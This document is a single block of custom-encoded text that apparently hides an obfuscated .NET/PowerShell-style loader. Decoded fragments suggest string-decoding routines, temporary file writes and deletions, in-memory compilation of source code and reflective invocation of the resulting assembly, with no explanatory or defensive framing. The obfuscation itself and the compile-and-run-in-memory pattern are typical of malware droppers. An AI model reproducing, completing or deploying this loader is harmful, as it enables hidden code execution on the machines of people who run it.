+C4b+14b+g4b+84b+x4b+z4b+14b644b6y4b6g4b6g4b6g4b6o4b6g4b6o4b6g4b6y4b684b6w4b+/4b+l4b+k4b+g4b+l4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+84b6w4b6t4b6w4b+z4b+/4b+04b+14b+84b6+4b+C4b+14b+g4b+84b+x4b+z4b+14b644b6y4b6g4b6g4b6g4b6o4b6g4b6o4b6g4b6y4b684b6w4b+/4b+l4b+k4b+g4b+l4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+84b6w4b6t4b6w4b+z4b+/4b+04b+14b+84b6+4b+C4b+14b+g4b+84b+x4b+z4b+14b644b6y4b6g4b6h4b6i4b6j4b6k4b6y4b684b6w4b6y4b6g4b6y4b6w4b674b6w4b+54b+g4b+g4b+z4b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+24b+54b++4b+x4b+84b+o4b6w4b6t4b6w4b+z4b+/4b+04b+14b+84b6+4b+D4b+g4b+84b+54b+k4b644b++4b+14b+n4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+r4b6w4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b6y4b+24b+Y4b+n4b6t4b6y4b654b6w4b+t4b684b6w4b+D4b+k4b+i4b+54b++4b+34b+D4b+g4b+84b+54b+k4b+f4b+g4b+k4b+54b+/4b++4b+j4b6+4b+e4b+/4b++4b+14b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+p4b6w4b6t4b6w4b+24b+54b++4b+x4b+84b+o4b+L4b6g4b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+q4b6w4b6t4b6w4b+24b+54b++4b+x4b+84b+o4b+L4b6h4b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+94b+54b+04b+z4b+/4b+04b6w4b6t4b6w4b+z4b+/4b+04b+14b+m4b6w4b674b6w4b6y4b6u4b6y4b6w4b674b6w4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+z4b+/4b+04b+14b+p4b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+/4b+l4b+k4b+g4b+l4b+k4b654b654b654b6w4b674b6w4b6y4b6u4b6y4b6w4b674b6w4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+z4b+/4b+04b+14b+q4b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+/4b+l4b+k4b+g4b+l4b+k4b654b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+z4b+/4b+04b+14b+o4b6w4b6t4b6w4b+z4b+/4b+04b+14b+p4b6w4b674b6w4b+94b+54b+04b+z4b+/4b+04b6w4b674b6w4b+z4b+/4b+04b+14b+q4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+24b+54b+84b+14b+o4b6w4b6t4b6w4b+X4b+14b+k4b+C4b+x4b++4b+04b+/4b+94b+D4b+k4b+i4b+54b++4b+34b644b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b654b6+4b+e4b+14b+o4b+k4b644b6h4b6g4b6g4b6g4b6g4b684b6w4b6p4b6p4b6p4b6p4b6p4b6p4b654b654b6w4b674b6w4b6y4b6+4b+14b+o4b+14b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+/4b+/4b+84b6w4b+94b+x4b+74b+14b+14b+o4b+14b6w4b6t4b6w4b+S4b+l4b+54b+84b+04b+V4b+o4b+14b644b+o4b+24b+54b+84b+14b+o4b684b6w4b+o4b+z4b+/4b+04b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+94b+x4b+74b+14b+14b+o4b+14b6w4b6t4b6t4b6w4b+24b+x4b+84b+j4b+14b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+44b+i4b+/4b+n4b6w4b++4b+14b+n4b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+Z4b++4b+m4b+x4b+84b+54b+04b+A4b+i4b+/4b+34b+i4b+x4b+94b+V4b+o4b+z4b+14b+g4b+k4b+54b+/4b++4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6i4b6i4b6j4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b+o4b+24b+54b+84b+14b+o4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+C4b+14b+x4b+04b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b++4b+k4b6w4b+54b+z4b+o4b+z4b+g4b6w4b6t4b6w4b644b+54b++4b+k4b654b+24b+j4b6i4b6i4b6j4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+y4b+p4b+k4b+14b+j4b6h4b6w4b6t4b6w4b+C4b+14b+x4b+04b+o4b644b+24b+j4b6i4b6i4b6j4b684b6w4b+54b+z4b+o4b+z4b+g4b684b6w4b6g4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6i4b6i4b6j4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b6+4b+U4b+14b+84b+14b+k4b+14b644b+o4b+24b+54b+84b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b6w4b+24b+j4b6h4b6k4b6k4b6w4b6t4b6w4b++4b+14b+n4b6w4b+W4b+54b+84b+14b+D4b+k4b+i4b+14b+x4b+94b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b684b6w4b+W4b+54b+84b+14b+d4b+/4b+04b+14b6+4b+f4b+g4b+14b++4b+f4b+i4b+T4b+i4b+14b+x4b+k4b+14b684b6w4b+W4b+54b+84b+14b+R4b+z4b+z4b+14b+j4b+j4b6+4b+H4b+i4b+54b+k4b+14b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+H4b+i4b+54b+k4b+14b+o4b644b+24b+j4b6h4b6k4b6k4b684b6w4b+y4b+p4b+k4b+14b+j4b6h4b684b6w4b+y4b+p4b+k4b+14b+j4b6i4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+j4b6h4b6k4b6k4b6+4b+T4b+84b+/4b+j4b+14b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b6+4b+D4b+14b+k4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b684b6w4b++4b+14b+n4b6w4b+U4b+x4b+k4b+14b+E4b+54b+94b+14b644b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+J4b+14b+x4b+i4b684b6w4b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+d4b+/4b++4b+k4b+44b684b6w4b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+U4b+x4b+p4b684b6w4b6h4b6h4b684b6w4b6h4b6h4b684b6w4b6h4b6h4b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b644b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b6w4b+04b+/4b+p4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+Z4b++4b+24b+/4b+L4b+N4b6w4b+24b+54b+84b+14b+j4b+o4b6w4b6t4b6w4b+04b+/4b+p4b6+4b+X4b+14b+k4b+W4b+54b+84b+14b+j4b644b6y4b664b6+4b+14b+o4b+14b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b+14b+x4b+z4b+44b6w4b644b+W4b+54b+84b+14b+Z4b++4b+24b+/4b6w4b+p4b+24b+54b+84b+14b+o4b6w4b+54b++4b6w4b+24b+54b+84b+14b+j4b+o4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b6w4b6t4b6w4b+p4b+24b+54b+84b+14b+o4b6+4b+W4b+l4b+84b+84b+e4b+x4b+94b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b+e4b+x4b+94b+14b6+4b+X4b+14b+k4b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b+e4b+x4b+94b+14b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+p4b+24b+54b+84b+14b+o4b6+4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b6+4b+Y4b+/4b+l4b+i4b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6w4b674b6w4b+p4b+24b+54b+84b+14b+o4b6+4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b6+4b+d4b+54b++4b+l4b+k4b+14b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6w4b674b6w4b+p4b+24b+54b+84b+14b+o4b6+4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b6+4b+D4b+14b+z4b+/4b++4b+04b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6w4b6t4b6t4b6w4b6y4b6h4b6h4b6h4b6h4b6h4b6h4b6y4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+Z4b++4b+24b+14b+z4b+k4b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+l4b++4b+k4b+14b+i4b674b674b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+z4b+/4b+l4b++4b+k4b+14b+i4b6w4b6t4b6t4b6w4b6l4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6w4b+r4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b+L4b+N4b6w4b+04b+54b+i4b+j4b6w4b6t4b6w4b+04b+/4b+p4b6+4b+X4b+14b+k4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+54b+14b+j4b644b6y4b664b6+4b664b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b+14b+x4b+z4b+44b6w4b644b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b6w4b+o4b+04b+54b+i4b6w4b+54b++4b6w4b+04b+54b+i4b+j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+z4b+/4b+l4b++4b+k4b+14b+i4b6w4b6t4b6t4b6w4b6l4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b644b+o4b+04b+54b+i4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6w4b+r4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+y4b+/4b+/4b+84b6w4b+S4b+l4b+54b+84b+04b+V4b+o4b+14b644b+j4b+k4b+i4b+54b++4b+34b6w4b+q4b++4b+x4b+94b+14b684b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+p4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+Z4b+T4b+/4b+04b+14b+T4b+/4b+94b+g4b+54b+84b+14b+i4b6w4b+m4b+54b+z4b6w4b6t4b6w4b++4b+14b+n4b6w4b+T4b+D4b+44b+x4b+i4b+g4b+T4b+/4b+04b+14b+A4b+i4b+/4b+m4b+54b+04b+14b+i4b644b654b6+4b+T4b+i4b+14b+x4b+k4b+14b+T4b+/4b+94b+g4b+54b+84b+14b+i4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+A4b+x4b+i4b+x4b+94b+14b+k4b+14b+i4b+j4b6w4b+/4b+z4b+g4b6w4b6t4b6w4b++4b+14b+n4b6w4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+A4b+x4b+i4b+x4b+94b+14b+k4b+14b+i4b+j4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+C4b+14b+24b+14b+i4b+14b++4b+z4b+14b+04b+R4b+j4b+j4b+14b+94b+y4b+84b+54b+14b+j4b6+4b+R4b+04b+04b644b6y4b+D4b+p4b+j4b+k4b+14b+94b6+4b+04b+84b+84b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+X4b+14b++4b+14b+i4b+x4b+k4b+14b+V4b+o4b+14b+z4b+l4b+k4b+x4b+y4b+84b+14b6w4b6t4b6w4b+k4b+i4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+f4b+g4b+k4b+54b+/4b++4b+j4b6w4b6t4b6w4b6y4b6/4b+k4b+x4b+i4b+34b+14b+k4b6q4b+n4b+54b++4b+14b+o4b+14b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+f4b+l4b+k4b+g4b+l4b+k4b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b6w4b6t4b6w4b+q4b++4b+x4b+94b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+C4b+14b+j4b+l4b+84b+k4b+j4b6w4b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6w4b6t4b6w4b+m4b+54b+z4b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b+W4b+i4b+/4b+94b+D4b+/4b+l4b+i4b+z4b+14b644b+/4b+z4b+g4b684b6w4b+z4b+/4b+04b+14b+p4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b+14b+x4b+z4b+44b6w4b644b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+V4b+i4b+i4b+/4b+i4b6w4b+o4b+m4b+z4b+14b6w4b+54b++4b6w4b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6+4b+V4b+i4b+i4b+/4b+i4b+j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+T4b+/4b++4b+j4b+/4b+84b+14b6+4b+H4b+i4b+54b+k4b+14b+c4b+54b++4b+14b644b+o4b+m4b+z4b+14b6+4b+V4b+i4b+i4b+/4b+i4b+e4b+l4b+94b+y4b+14b+i4b6w4b674b6w4b6y4b6q4b6w4b6y4b6w4b674b6w4b+o4b+m4b+z4b+14b6+4b+V4b+i4b+i4b+/4b+i4b+E4b+14b+o4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6+4b+V4b+i4b+i4b+/4b+i4b+j4b6+4b+T4b+/4b+l4b++4b+k4b6w4b6t4b6t4b6w4b6g4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+k4b+i4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+24b+x4b+84b+j4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+/4b++4b++4b+p4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+g4b+84b+x4b+54b++4b+o4b6w4b6t4b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+W4b+i4b+/4b+94b+S4b+x4b+j4b+14b6m4b6k4b+D4b+k4b+i4b+54b++4b+34b644b+04b+/4b++4b++4b+p4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+V4b++4b+z4b+/4b+04b+54b++4b+34b6+4b+F4b+E4b+W4b6o4b6+4b+X4b+14b+k4b+D4b+k4b+i4b+54b++4b+34b644b+g4b+84b+x4b+54b++4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4